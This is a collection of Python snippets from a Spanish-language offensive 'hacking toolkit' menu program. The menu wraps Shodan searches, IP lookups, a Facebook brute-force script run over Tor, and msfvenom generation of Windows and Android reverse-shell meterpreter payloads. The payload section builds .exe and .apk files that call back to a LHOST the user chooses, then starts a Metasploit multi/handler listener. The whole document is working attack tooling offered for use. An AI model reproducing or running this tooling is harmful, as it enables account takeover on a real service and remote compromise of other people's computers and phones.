示例#1
0
def mainIPInfo():
    global ProgramName, color
    f = open('APIs/IpInfo.txt', 'r')
    API = f.read()
    #print(API)

    if len(API) < 1:
        f.close()
        Key = open('APIs/IpInfo.txt', 'w')
        print("")
        print(
            "Ingresa a {}https://ipinfo.io/account{} para ver tu access token")
        print("")

        KEY = input("Ingresa tu API o Access Token > ")
        Key.write(KEY)
        API = KEY
        Key.close()

    banners.println(3)
    print("")

    User = IPInfo(API)
    option = input(
        str("{} ({}IP-Info{}) IP > ".format(ProgramName, Fore.LIGHTRED_EX,
                                            Fore.LIGHTWHITE_EX)))

    User.SearchIP(str(option))
示例#2
0
def mainMetasploit():
    global ProgramName, color, PrintBanners
    if PrintBanners == True:
        banners.println(1)
    print("")
    print("[{}01{}] Listen Payload".format(color, Fore.LIGHTWHITE_EX))
    print("[{}02{}] Payload Generate".format(color, Fore.LIGHTWHITE_EX))
    #print("[{}03{}] APK Injection".format(color, Fore.LIGHTWHITE_EX))
    print("")
    print("[{}99{}] Back".format(color, Fore.LIGHTWHITE_EX))
    print("")

    option = input(
        str(" {} ({}Metasploit{}) > ".format(ProgramName, Fore.LIGHTRED_EX,
                                             Fore.LIGHTWHITE_EX)))

    if option == '01' or option == '1':
        Metasploit.MSF()

    elif option == '02' or option == '2':
        PayloadGenerate.generate()
        banner()
        main()

    elif option == '03' or option == '3':
        pass

    elif option == '99':
        banner()
        main()

    else:
        print("{}[!] Option not available{}".format(Fore.LIGHTRED_EX,
                                                    Fore.LIGHTWHITE_EX))
        mainMetasploit()
示例#3
0
def main():
    global color
    global ProgramName
    global PrintBanners
    print("")
    print("[{}01{}] Shodan          [{}06{}] Scan".format(color, Fore.LIGHTWHITE_EX, color, Fore.LIGHTWHITE_EX))
    print("[{}02{}] Metasploit      [{}07{}] Search Engines".format(color, Fore.LIGHTWHITE_EX, color, Fore.LIGHTWHITE_EX))
    print("[{}03{}] IP Info".format(color, Fore.LIGHTWHITE_EX))
    print("[{}04{}] Brute Force".format(color, Fore.LIGHTWHITE_EX))
    print("[{}05{}] Exploits".format(color, Fore.LIGHTWHITE_EX))
    print("")
    print("[{}88{}] Update".format(color, Fore.LIGHTWHITE_EX))
    print("[{}99{}] Exit".format(color, Fore.LIGHTWHITE_EX))
    print("")

    options = input(str(" {} > ".format(ProgramName)))

    if options == '01' or options == '1' or options == 'shodan':
        mainShodan()

    elif options == '02' or options == '2':
        mainMetasploit()
    
    elif options == '03' or options == '3':
        mainIPInfo()

    elif options == '04' or options == '4':
        if PrintBanners == True:
            banners.println(6)
        mainBruteForece()

    elif options == '05' or options == '5':
        mainExploits()

    elif options == '06' or options == '6':
        mainScan()

    elif options == '07' or options == '7':
        mainSearchEngines()

    elif options == '88' or options == 'update':
        Update()
    
    elif options == '77':
        os.system("git pull")
    
    elif options == '99' or options == 'exit':
        banners.println(0)
        sys.exit

    else:
        print("[{}!] Option not available error{}".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))
        main()
示例#4
0
def mainBruteForece():
    global ProgramName, color, PrintBanners
    print("")
    print("[{}01{}] Facebook".format(color, Fore.LIGHTWHITE_EX))
    #print("[{}02{}] Hydra".format(color, Fore.LIGHTWHITE_EX))
    print("")
    print("[{}99{}] Back".format(color, Fore.LIGHTWHITE_EX))
    print("")

    option = input(
        str(" {} ({}BruteForce{}) > ".format(ProgramName, Fore.LIGHTRED_EX,
                                             Fore.LIGHTWHITE_EX)))

    if option == '01' or option == '1':
        print("")
        print("[{}01{}] Start Brute Force".format(color, Fore.LIGHTWHITE_EX))
        print("[{}02{}] Continue Brute Force".format(color,
                                                     Fore.LIGHTWHITE_EX))
        print("")
        print("[{}99{}] Back".format(color, Fore.LIGHTWHITE_EX))
        print("")

        option1 = input(
            str(" {} ({}BruteForce/Facebook{}) > ".format(
                ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))

        if option1 == '01' or option1 == '1':
            os.system("sudo chmod +x core/FB-BruteForce/FacebookBruteForce.sh")
            os.system("sudo service tor start")
            os.system("sudo ./core/FB-BruteForce/FacebookBruteForce.sh")
            mainBruteForece()

        elif option1 == '02' or option1 == '2':
            os.system(
                "sudo ./core/FB-BruteForce/FacebookBruteForce.sh --resume")
            if PrintBanners == True:
                banners.println(6)
            mainBruteForece()

        elif option1 == '99':
            if PrintBanners == True:
                banners.println(6)
            mainBruteForece()

    elif option == '99':
        banner()
        main()

    else:
        print("{}[!] Option not available{}".format(Fore.LIGHTRED_EX,
                                                    Fore.LIGHTWHITE_EX))
        mainBruteForece()
示例#5
0
    def SearchingShodan(self, string):
        none = 'null'
        global vulns, PrintBanners

        ResultFile = open('result/Shodan.json', 'w')
        
        try:
            if PrintBanners == True:
                banners.println(2)
            result = self.api.search(str(string))
            print('[{}!{}] Resoult found: {}'.format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, result['total']))
            print("")
            #print(json.dumps(result, sort_keys=True, indent=2))
            ResultFile.write(str(json.dumps(result, sort_keys=True, indent=3)))
            ResultFile.close()

            for data in result['matches']:
                print("[{}+{}] IP: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, data['ip_str']))
                print("[{}+{}] ISP: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, data['isp']))
                print("[{}+{}] Location: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, json.dumps(data['location'], sort_keys=True, indent=2)))
                print("[{}+{}] Organization: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, data['org']))
                print("[{}+{}] Operating System: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, data['os']))
                print("[{}+{}] Port: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, data['port']))
                print("[{}+{}] Product: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, data.get('product', 'null')))
                print("[{}+{}] Version: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, data.get('version', 'null')))
                #print("[{}+{}] Vulnerabilities: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, json.dumps(data.get('vulns', 'null'), sort_keys=True, indent=2)))
                if vulns == True:
                    print("[{}+{}] Vulnerabilities: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, json.dumps(data.get('vulns', 'null'), sort_keys=True, indent=2)))
                print('')
            print("Results saved in {}result/Shodan.json{}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX))
            time.sleep(2)
            banner()
            main()

        except Exception as e:
            print(f'Ha ocurido un error: {e}')
            result = []
            return result
示例#6
0
def generate():
    global ProgramName, color, LHOST, LPORT, PAYLOAD, NAME

    banners.println(4)
    print("")
    print("Selecione la Plataforma")
    print("[{}01{}] Windows".format(color, Fore.LIGHTWHITE_EX))
    print("[{}02{}] Android".format(color, Fore.LIGHTWHITE_EX))
    #print("[{}03{}] Linux".format(color, Fore.LIGHTWHITE_EX))
    print("") 

    Plataform = input(str(" {} ({}Metasploit/PayloadGenerate{}) > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))

    if Plataform == '01' or Plataform == '1' or Plataform == 'windows':
        print("")
        print("Selecione el Payload")
        print("[{}01{}] windows/meterpreter/reverse_http".format(color, Fore.LIGHTWHITE_EX)) 
        print("[{}02{}] windows/meterpreter/reverse_https".format(color, Fore.LIGHTWHITE_EX))
        print("[{}03{}] windows/meterpreter/reverse_tcp".format(color, Fore.LIGHTWHITE_EX))
        print("[{}04{}] windows/meterpreter/bind_tcp".format(color, Fore.LIGHTWHITE_EX))
        print("[{}05{}] windows/shell/bind_tcp".format(color, Fore.LIGHTWHITE_EX))
        print("[{}06{}] windows/shell/reverse_tcp".format(color, Fore.LIGHTWHITE_EX))
        print("")

        WindowsPayload = input(str(" {} ({}Metasploit/PayloadGenerate{}) Payload > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))

        if WindowsPayload == '01' or WindowsPayload == '1' or WindowsPayload == 'windows/meterpreter/reverse_http':
            PAYLOAD = 'windows/meterpreter/reverse_http'

        elif WindowsPayload == '02' or WindowsPayload == '2' or WindowsPayload == 'windows/meterpreter/reverse_https':
            PAYLOAD = 'windows/meterpreter/reverse_https'

        elif WindowsPayload == '03' or WindowsPayload == '3' or WindowsPayload == 'windows/meterpreter/reverse_tcp':
            PAYLOAD = 'windows/meterpreter/reverse_tcp'

        elif WindowsPayload == '04' or WindowsPayload == '4' or WindowsPayload == 'windows/meterpreter/bind_tcp':
            PAYLOAD = 'windows/meterpreter/bind_tcp'

        elif WindowsPayload == '05' or WindowsPayload == '5' or WindowsPayload == 'windows/shell/bind_tcp':
            PAYLOAD = 'windows/shell/bind_tcp'

        elif WindowsPayload == '06' or WindowsPayload == '6' or WindowsPayload == 'windows/shell/reverse_tcp':
            PAYLOAD = 'windows/shell/reverse_tcp'

        LHOST = input(str(" {} ({}Metasploit/PayloadGenerate{}) LHOST > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
        LPORT = input(str(" {} ({}Metasploit/PayloadGenerate{}) LPORT > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
        NAME = input(str(" {} ({}Metasploit/PayloadGenerate{}) FileName > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
        os.system(f"sudo msfvenom -p {PAYLOAD} lhost={LHOST} lport={LPORT} -f exe -o output/{NAME}.exe")
        os.system(f"sudo chmod +x output/{NAME}.exe")
        print("{}Achivo Guardado en {}output/{}.exe{}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTRED_EX, NAME, Fore.LIGHTWHITE_EX))
    
    elif Plataform == '02' or Plataform == '2' or Plataform == 'android':
        print("")
        print("{}Selecione el Payload{}".format(color, Fore.LIGHTWHITE_EX))
        print("")
        print("[{}01{}] android/meterpreter/reverse_http".format(color, Fore.LIGHTWHITE_EX))
        print("[{}02{}] android/meterpreter/reverse_https".format(color, Fore.LIGHTWHITE_EX))
        print("[{}03{}] android/meterpreter/reverse_tcp".format(color, Fore.LIGHTWHITE_EX))
        print("")

        AndroidPayload = input(str(" {} ({}Metasploit/GeneratePayload{}) Payload > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))

        if AndroidPayload == '1' or AndroidPayload == '01':
            PAYLOAD = 'android/meterpreter/reverse_http'
        
        elif AndroidPayload == '2' or AndroidPayload == '02':
            PAYLOAD = 'android/meterpreter/reverse_https'
        
        elif AndroidPayload == '3' or AndroidPayload == '03':
            PAYLOAD = 'android/meterpreter/reverse_tcp'

        LHOST = input(str(" {} ({}Metasploit/PayloadGenerate{}) LHOST > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
        LPORT = input(str(" {} ({}Metasploit/PayloadGenerate{}) LPORT > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
        NAME = input(str(" {} ({}Metasploit/PayloadGenerate{}) FileName > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
        os.system(f"sudo msfvenom -p {PAYLOAD} lhost={LHOST} lport={LPORT} -f apk -o output/{NAME}.apk")
        os.system(f"sudo chmod +x output/{NAME}.apk")
        print("{}Achivo Guardado en {}output/{}.apk{}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTRED_EX, NAME, Fore.LIGHTWHITE_EX))

    option = input(str("desea conectarse a Metasploit [y/N] > "))

    if option == 'y' or option == 'Y' or option == 's' or option == 'S':
        datamsf = f"use exploit/multi/handler;set PAYLOAD {PAYLOAD};set LHOST {LHOST};set LPORT {LPORT};exploit"
        subprocess.call(["sudo", "msfconsole", "-q", "-x", datamsf])
示例#7
0
def banner():
    global color

    banner = '''{}
    ███████╗ ██████╗  ██╗███████╗██████╗  ██████╗██╗  ██╗
    ╚══███╔╝██╔═████╗███║╚════██║╚════██╗██╔════╝██║ ██╔╝
      ███╔╝ ██║██╔██║╚██║    ██╔╝ █████╔╝██║     █████╔╝ 
     ███╔╝  ████╔╝██║ ██║   ██╔╝ ██╔═══╝ ██║     ██╔═██╗ 
    ███████╗╚██████╔╝ ██║   ██║  ███████╗╚██████╗██║  ██╗
    ╚══════╝ ╚═════╝  ╚═╝   ╚═╝  ╚══════╝ ╚═════╝╚═╝  ╚═╝
            Version V 1.2                      By -Erik172 
    {}'''.format(color, Fore.LIGHTWHITE_EX)

    print(banner)


if __name__ == "__main__":
    if sys.platform == 'linux':
        try:
            banner()
            main()
        except KeyboardInterrupt:
            banners.println(0)
            sys.exit()

    else:
        print(sys.platform)
        print("[{}!{}] Platform not avalible to a".format(
            Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))
        sys.exit()